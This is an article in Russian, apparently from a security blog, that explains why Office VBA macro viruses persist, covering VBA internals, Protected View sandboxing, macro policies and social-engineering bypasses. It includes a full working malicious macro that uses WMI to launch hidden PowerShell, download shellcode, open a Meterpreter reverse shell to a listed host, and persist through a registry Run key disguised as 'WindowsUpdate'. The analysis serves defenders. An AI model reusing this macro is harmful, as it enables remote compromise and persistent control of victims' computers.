В 2016 году исследователи отметили всплеск активности, практически второе рождение, еще недавно казавшейся безнадежно устаревшей техники распространения нежелательного ПО — несущих злонамененную нагрузку макросов в документах Microsoft Office, т.н. «макровирусов».
Самый знаменитый макровирус, Melissa, появился в марте 1999 года. Вирус поразил по-крайней мере сто тысяч компьютеров по всему миру, парализовал работу сотен компаний, ущерб экономике составил 80 миллионов долларов в одних только США.
Судя по отчетам компаний, связанных с информационной безопасностью (например, здесь ), на сегодняшний день макровирусы все еще занимают верхние строчки в рейтингах по распространенности.
Не появилось никаких способствовавших этому новых уязвимостей, как в общем-то не было никаких чисто технических предпосылок. По-видимому, распространители malware, испытывая недостаток в свежих багах, обратили свои взоры на плохо забытые (и все еще эффективные) старые.
Почему почти через двадцать лет та же техника остается на вооружении всевозможных компьютерных злоумышленников? Попробуем разобраться.
Kovter и Emotet распространяются при помощи макросов в документах Office.
Что такое «макрос»
Так называемые «макросы» Microsoft Office представляют собой небольшие программы для интерпретируемого языка Visual Basic for Applications (VBA), поддержка которого встроена в линейку продуктов Microsoft Office.
Макросы в силу своих возможностей могут быть использованы для практически любой задачи автоматизации офисной работы.
Какие программы поддерживают макросы VBA
VBA охватывает все версии Microsoft Office для Windows, начиная с 1997г. и включая еще не вышедший 2019, а также некоторые другие приложения Microsoft, такие как MapPoint и Visio, и ПО других производителей: AutoCAD, CorelDraw, LibreOffice, Reflection, WordPerfect.
Реализована поддержка VBA и в Office for Mac OS X, за исключением 2008.
При выборочной установке Microsoft Office можно отказаться от поддержки VBA, но по умолчанию эта подсистема входит в набор устанавливаемых программ.
Редактор VBA в Microsoft Word
Что умеет VBA
Макросы документов обладают довольно богатым функционалом, который можно разбить на три категории:
- Доступ к содержимому документа, в том числе, и вставленному в него активному содержимому (ActiveX)
- Доступ к событиям интерфейса офисного приложения и действиям пользователя в этом офисном приложении (например, нажатие клавиш)
- Доступ к файловой системе, ресурсам операционной системы при помощи создаваемых COM и WMI объектов.
Доступ к содержимому документа может быть необходим для автоматического редактирования и формирования документов. Это очень важная возможность, которая позволяет автоматизировать некоторую рутинную работу офисных сотрудников (например, вставку заготовленных шаблонов таблиц или других элементов в документы).
Доступ к интерфейсу и событиям интерфейса офисного приложения позволяет упростить работу с макросами (например, помогает привязать исполнение макроса к событию или комбинации клавиш). Исполнение макросов может быть привязано к различным событиям интерфейса или к действиям пользователя. Например, макрос AutoOpen привязывается к событию открытия документа, чем и обязан использованию злоумышленниками в качестве основного.
Доступ к файловой системе и ресурсам ОС бывает необходим для выполнения сложных задач автоматизации, связанных с обработкой нестандартных форматов документов и/или автоматического распространения (например, рассылка автоматически сгенерированных отчетов по почте).
Последний класс функциональных возможностей делает исполнение макроса с точки зрения безопасности равносильным запуску обычного исполняемого файла. C учетом того, что макросы могут быть присоединены к документам, и начинать свое выполнение автоматически (если не учитывать ограничения безопасности), можно утверждать, что открытие такого документа равносильно запуску стороннего исполняемого файла, который получает те же привилегии в системе, что и активировавший его пользователь.
Автоматизация позволяет программам на VBA управлять поведением не только приложения-хоста, но и другими приложениями Microsoft Office (как, впрочем, и любыми объектами COM в системе).
Само взаимодействие между скриптами VBA и хост-приложением осуществляется при помощи технологии автоматизации OLE. Для этого хост-приложение предоставляет API в виде COM-интерфейсов и библиотеку типов (TypeLibrary). Это API позволяет взаимодействовать с хост-приложением: например, модифицировать содержимое документа или получать различные уведомления о действиях пользователя. API не универсально, и может зависеть от типа и версии хост-приложения, поэтому макрос, предназначенный для работы внутри Microsoft Word, не будет работать в Excel. Однако, макросы документов могут использовать API автоматизации сразу же нескольких хост-приложений. Например, можно создать макрос, который исполняется внутри Excel: читает таблицу, формирует на её основе отчеты в формате Microsoft Word и рассылает их по различным почтовым адресам, используя автоматизацию Microsoft Outlook.
Помимо широких возможностей в операционной системе, программы VBA обладают такими привлекательными для злоумышленника свойствами, как надежность и стабильность выполнения, совместимость (с некоторыми оговорками) со всей линейкой Office. Подобной независимостью, обеспеченной виртуальной машиной VBA, никак не может похвастать большинство логических, и тем более бинарных уязвимостей.
Существуют документы-шаблоны, загружаемые приложением по умолчанию, к примеру, normal.dotm в Word. Эти документы также могут содержать макросы, запускаемые вместе с приложением. Эта простейшая техника может быть использована для закрепления нежелательного ПО в системе.
Методы незаметного проникновения на ПК в основном основаны на стандартных техниках, применяемыми вредоносным ПО. К ним можно отнести шифрование бинарной полезной нагрузки, которая записывается на диск макросом, использование WMI для создания дочернего процесса, выполняющего дальнейшие деструктивные действия.
' Author: Matt Nelson
' Twitter: @enigma0x3
Sub Auto_Open()
Execute
Persist
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "rootcimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\" & strComputer & "rootcimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
End Function
Public Function Persist() As Variant
Dim WShell As Object
Set WShell = CreateObject("WScript.Shell")
WShell.RegWrite "HKCUSoftwareMicrosoftWindowsCurrentVersionRunWindowsUpdate", "C:WindowsSystem32WindowsPowershellv1.0powershell.exe -NonInteractive -WindowStyle Hidden -noprofile -noexit -Command IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/persist.ps1'))", "REG_SZ"
Set WShell = Nothing
End FunctionПример макроса с «полезной» нагрузкой
Как реализована поддержка VBA
Причиной появления архитектуры VBA в том виде, в котором она известна нам сегодня, скорее всего, стала оптимизация компанией Microsoft затрат на разработку языка и самого движка макросов. За основу был взят готовый интерпретатор скриптового языка с возможностями, существенно превышающими требования, предъявляемые к макроязыкам офисных документов. Это позволяет создавать на VBA макросы, которые по своему функционалу, скорее, похожи на плагины для офисных приложений, и к ним должны предъявляться другие требования безопасности, распространения и публикации.
VBA является несколько урезанным вариантом Visual Basic и отличается также тем, что программы на нем работают лишь внутри приложения-хоста (например, Excel), связаны с документом, для которого созданы, и не могут быть запущены в качестве отдельного приложения.
В умелых руках эти небольшие ограничения легко преодолеваются. Программы VBA имеют возможность использовать динамические библиотеки DLL, классы COM, доступ к файловой системе — этого более, чем достаточно, чтобы произвести в операционной системе любые действия, доступные аккаунту, под которым запущены приложения Office.
Производитель утверждает, что макросы VBA в приложениях Office под Mac OS выполняются внутри песочницы, без доступа к системным функциям, файловой системе и другим приложениям. Однако с учетом того, что интерпретатор VBA под эту ОС разработан не так давно, исследователей безопасности вполне могут ожидать интересные находки в этом направлении.
В приложениях пакета для Windows изоляция исполнения макросов отсутствует. Макросы выполняются от имени и с правами пользователя, открывшего документ.
Обычно виртуальная машина VBEx (x — номер версии) устанавливается вместе с офисным пакетом и располагается в %CommonProgramFiles%microsoft sharedVBA«подпапка с версией». Она представляет собой несколько DLL библиотек и библиотек с ресурсами. Библиотеки загружаются в адресное пространство процесса приложения, которое выполняет макросы документа.
Код, созданный в редакторе VBA, сохраняется внутри файла документа. Документы современного формата Office Open XML, содержащие макросы, должны иметь специальное расширение (".docm",".dotm",".xlm",".xltm", ...), в противном случае приложение откажется их открывать. Внутри zip-архива документа проект VBA хранится в файле-хранилище CFBF.
В документах устаревшего формата (.doc, .xls, .ppt, ...), представляющих собой CFBF, VBA сохраняется в хранилище второго уровня «Macros», формат которого аналогичен предыдущему.
В этом случае по названию (расширению имени файла) или значку пользователь никак не определит, что документ может содержать макросы.
Microsoft любезно опубликовала спецификацию формата хранения проектов VBA в документах Office: [MS-OVBA]. Как и следовало ожидать, многие интересные поля структур описаны в спецификации приблизительно следующим образом:
MUST be ignored on read. MUST not be present on write.
Тем не менее, при желании можно выяснить, что кроме исходного кода VBA в файл хранилища записывается также скомпилированый так называемый p-code (packed code). Формат этого промежуточного кода для виртуальной машины зависит от версии VBA. Если документ открыт в приложении, использующем ту же версию виртуальной машины, p-code будет загружен и выполнен, а исходный код проигнорирован. Существует также и третий вариант сохраняемого кода: это специфичный для версии приложения двоичный формат, который в спецификации обтекаемо назван Performance Cache и записывается в файл при выполнении программы.
Любопытно заметить, что, если формат p-code частично доступен антивирусным компаниям на условиях Non Disclosure Agreement, то о формате Performance Cache, называемом в ряде источников также Execode, практически неизвестно (основываясь на некоторых прецедентах можно даже предположить, что неизвестно и самой компании Microsoft).
Подобная техника дает определенную свободу действий создателям макровирусов и влечет за собой дополнительные сложности для антивирусных сканеров: в зависимости от версии пакета и виртуальной машины может быть скомпилирован исходный код, использован p-code либо загружен Performance Cache, которые совершенно необязательно могут соответствовать один другому.
При открытии документов, содержащих проекты VBA, приложение создает временный файл-хранилище, в который копирует директории VBA. Копирование осуществляется средствами системного Structured Storage API, непосредственно с содержимым хранилища на этом этапе приложения Office не взаимодействуют. Код VBA, в одном из трех вариантов, будет загружен виртуальной машиной только после того, как пользователь разрешит выполнение (или если выполнение разрешено по умолчанию).
Встроенные механизмы противодействия макровирусам
Можно выделить два основных вопроса безопасности, которые необходимо решить при разработке архитектуры собственного макроязыка:
* К чему могут иметь доступ макросы
* Могут ли макросы распространяться как составная часть документов.
Если рассмотреть архитектуру макросов VBA от Microsoft, описанную выше, становится очевидно, что оба эти вопроса решены неправильно. Это привело к тому, что открытие документа Microsoft Office c макросами равносильно запуску обычного исполняемого файла.
Таким образом, документы Microsoft Office с макросами:
* Обладают свойствами и возможностями обычного исполняемого файла
* Не принадлежат к зарегистрированному в системе типу исполняемых файлов и не воспринимаются пользователями как исполняемые.
Из-за распространенности пакета Microsoft Office и пересылок документов в почтовых вложениях, а также двух свойств документов с макросами, описанных выше, они стали легким и надежным способом проникновения вредоносного ПО на компьютеры пользователей. Настолько легким, что компании Microsoft пришлось решать эту проблему при помощи расширения функции механизма безопасности офисного пакета.
Два механизма безопасности интегрированы непосредственно в приложения Microsoft Office:
* Защищенный режим просмотра
* Политики запрета исполнения макросов VBA.
В Microsoft Office есть защищенный режим, который активируется при просмотре файлов, загруженных из интернета, запрещает запуск любого активного содержимого (в том числе, и макросов) и создает ряд ограничений для процесса, который открывает этот документ. При открытии документа в таком режиме создается дочерний процесс (в котором и происходит просмотр документа) с пониженным уровнем целостности и ограничением Job на создание дочерних процессов (делается ограничением одного активного процесса в Job).
Эти ограничения, в первую очередь, направлены на предотвращение эксплуатации обычных бинарных уязвимостей в самом офисном приложении.
Изоляция процесса, отображающего документ в защищенном режиме, реализована в целом хорошо и заслуживает отдельного упоминания.
На уровне приложения в ОС Microsoft Windows предоставляет следующие возможности изоляции процесса:
* Ограничения токена (маркера доступа) процесса
* Ограничения GUI-подсистемы
* Ограничения объекта Job для процесса.
Изоляция процесса офисного приложения, отображающего документ, реализуется при помощи всех этих трех механизмов.
Примерная схема работы защищенного режима просмотра документов Microsoft Office
Недоверенные документы открываются в изолированном процессе, который создается главным процессом-брокером офисного приложения. Для этого формируется специальный токен, с которым будет создаваться изолированный процесс при помощи функции CreateProcessAsUser. В зависимости от того, поддерживает ли операционная система запуск процессов с токеном AppContainer или нет, токен формируется по-разному.
Для операционных систем, поддерживающих технологию AppContainer (Windows 8 и выше), выполняется создание папки контейнера, настройка разрешений для работы с именованным каналом, по которому изолированный процесс может общаться с процессом-брокером, а также добавляется особая возможность (Capability) с недокументированным SID, свойственная только Microsoft Office. Процессы, работающие на основе технологии AppContainer, ограничены добавленными в них возможностями (Capabilities). Они определяют границы песочницы, в которых исполняется процесс. Изолированный процесс офисного приложения, таким образом, может лишь работать с файлами внутри папки собственного контейнера, и общаться с процессом-брокером через именованный канал. Доступ в сеть полностью закрыт, поскольку у процесса отсутствуют возможности (Capability) для открытия портов и исходящих соединений.
Для более ранних операционных систем, не поддерживающих технологию AppContainer, но активирующих исполнение процесса с низким уровнем целостности, выполняется более сложная настройка токена изолированного процесса. Отключаются следующие SID в группах токена: Domain Users, Administrators, Console Logon, This Organization, NTLM Authentication, Medium Mandatory Level. SID следующих сущностей ограничиваются в маркере доступа изолированного процесса: Restricted Code, Everyone, Users, Logon Session. Настраиваются разрешения для работы с именованными каналом процесса-брокера и понижается уровень целостности до низкого. Также создается папка для работы изолированного процесса и настраиваются разрешения для взаимодействия с ней.
После настройки маркера доступа вне зависимости от поддержки технологии AppContainer создается процесс в состоянии паузы Suspended. Этот процесс добавляется в Job с особыми ограничениями. Ограничения объекта Job обычно следующие:
* Число активных процессов – 1
* Завершение процессов при необработанном исключении
* Завершение дочерних процессов при завершении процесса-родителя.
Опционально в зависимости от настроек офисного приложения формируется изоляция GUI, в частности, может быть создан новый рабочий стол для изолированного процесса. Обычно этого не делается. Рабочий стол определяет, в частности, буфер обмена. После создания, настройки разрешений процесса и добавления его в объект Job, процесс брокер возобновляет выполнение изолированного процесса, выводя его из состояния Suspended.
Описанная выше система изоляции процесса, в котором происходит открытие недоверенного документа, существенно усложняет эксплуатацию обычных бинарных уязвимостей. Как правило, злоумышленникам приходится искать в таком случае дополнительные уязвимости в ядре ОС, чтобы выйти за пределы создаваемой процессором-брокером песочницы изолированного процесса, в котором отображается документ.
Однако при разрешении запуска макросов приложение не будет работать в защищенном режиме (даже если файл был загружен), и таким образом виртуальная машина VBA не получит ограничений. Пользователь может отключить режим защищенного просмотра нажатием кнопки «Разрешить редактирование» / «Enable editing», которая появляется на желтой полосе предупреждения при открытии загруженного документа.
Параметры запуска приложений VBA можно изменить пользовательскими настройками.
Настройка политики запуска макросов в окне «Trust Center»
По умолчанию, стоит настройка, запрещающая исполнение всех макросов с оповещением пользователя. «Тревожный сигнал» выглядит следующим образом:
Нажимая на кнопку «Enable Content», пользователь разрешает исполнение всех макросов документов, в том числе, и автоматических, тем самым ставя под угрозу заражения свой ПК.
В ответ на возросшее количество угроз от распространения документов с макросами, в Microsoft разработали более жесткую политику безопасности, которая может быть настроена администраторами через механизм групповых политик Windows. Администратор может её сконфигурировать таким образом, что будет апрещено исполнение макросов в документах, загруженных по сети.
Также следует заметить, что для всех политик имеются исключения:
* Доверенные расположения в файловой системе
* Доверенные издатели.
Документы из доверенных расположений в файловой системе открываются с минимальными ограничениями. То же самое относится к механизму доверенных издателей. В частности, автоматически могут запускаться VSTO, подписанные сертификатами доверенных издателей.
Обход методов противодействия макровирусам
Большинство методов обхода механизмов безопасности строятся на социальной инженерии. Пользователи не воспринимают файлы Microsoft Office с макросами как исполняемые, поэтому легко вводятся в заблуждение демонстрацией ненормального открытия документа и приглашением пользователя включить макросы, чтобы устранить проблемы. Злоумышленники предоставляют подробные инструкции, на случай, если пользователи сами не могут догадаться как это сделать, и весомо выглядящее обоснование необходимости их включения.
На форумах соответствующей тематики можно встретить объявления о создании «индивидуальных дизайнерских решений» для оформления документов, призванных убедить пользователя включить активное содержимое. Стоимость таких решений может быть значительной, а эффективность, по мнению авторов, доходит до 60%.
Эксплуатируется желание пользователя поскорее получить информацию из документа. Из-за этого многие, даже не думая, разрешают исполнение макросов. Формирование внешнего вида и содержимого таких документов зависит уже исключительно от фантазии злоумышленников и основано на незнании типичными пользователями сложных возможностей макроязыка VBA, приводящих к заражению системы вредоносным ПО. После разрешения пользователем исполнения макросов и заражения компьютера, макрос, как правило, показывает пользователю ту информацию, которую он хотел увидеть, меняя соответствующим образом открытый документ при помощи API автоматизации.
Современные версии Office имеют возможность изменения групповых политик, что позволяет доменному администратору заблокировать выполнение VBA на всех пользовательских компьютерах без возможности изменения этой настройки пользователем. Несомненно, с точки зрения безопасности это шаг вперед. К сожалению, эта возможность зачастую не применяется, поскольку во многих компаниях есть свой активно используемый набор макросов, от которого никто не желает отказываться.
Есть и еще один неочевидный нюанс, который представляет собой значительную брешь в безопасности. В памяти программы Office содержится «свойство» AutomationSecurity — переменная, содержащая настройки безопасности для активного содержимого, в том числе для макросов и элементов ActiveX. Если приложение было запущено пользователем стандартным способом, например, значком на рабочем столе или открытием документа, эта переменная будет соответствовать настройкам, выставленным пользователем в окне «Центра безопасности» или администратором при помощи шаблонов. Если же приложение запущено как клиент Автоматизации, из скрипта или другого приложения (к примеру, приложения для бухучета), переменная AutomationSecurity будет содержать минимальное значение «msoAutomationSecurityLow». В результате при обработке автоматизированным приложением какого-либо документа будут выполнены и содержащиеся в документе VBA-программы, если только программист специально не изменил переменную на msoAutomationSecurityByUI или msoAutomationSecurityForceDisable.
И в заключение...
Что же вирус Melissa и причиненные им убытки? Удивительно эффективный и эффектный результат выглядит еще более впечатляющим, если обратить внимание на одну маленькую деталь: предупреждающее сообщение об опасности макровирусов при открытии документа, содержащего макросы, появилось еще в Microsoft Office 97 (Melissa, напомним, появился в 1999).
Для того, чтобы отключить предупреждение, необходимо было снять «галочку» в настройках.
Можно было прочитать подробное разъяснение об опасности макровирусов и нежелательности запуска макросов из ненадежных источников.
По-видимому, это мало кого остановило.
Автор: ormoulu
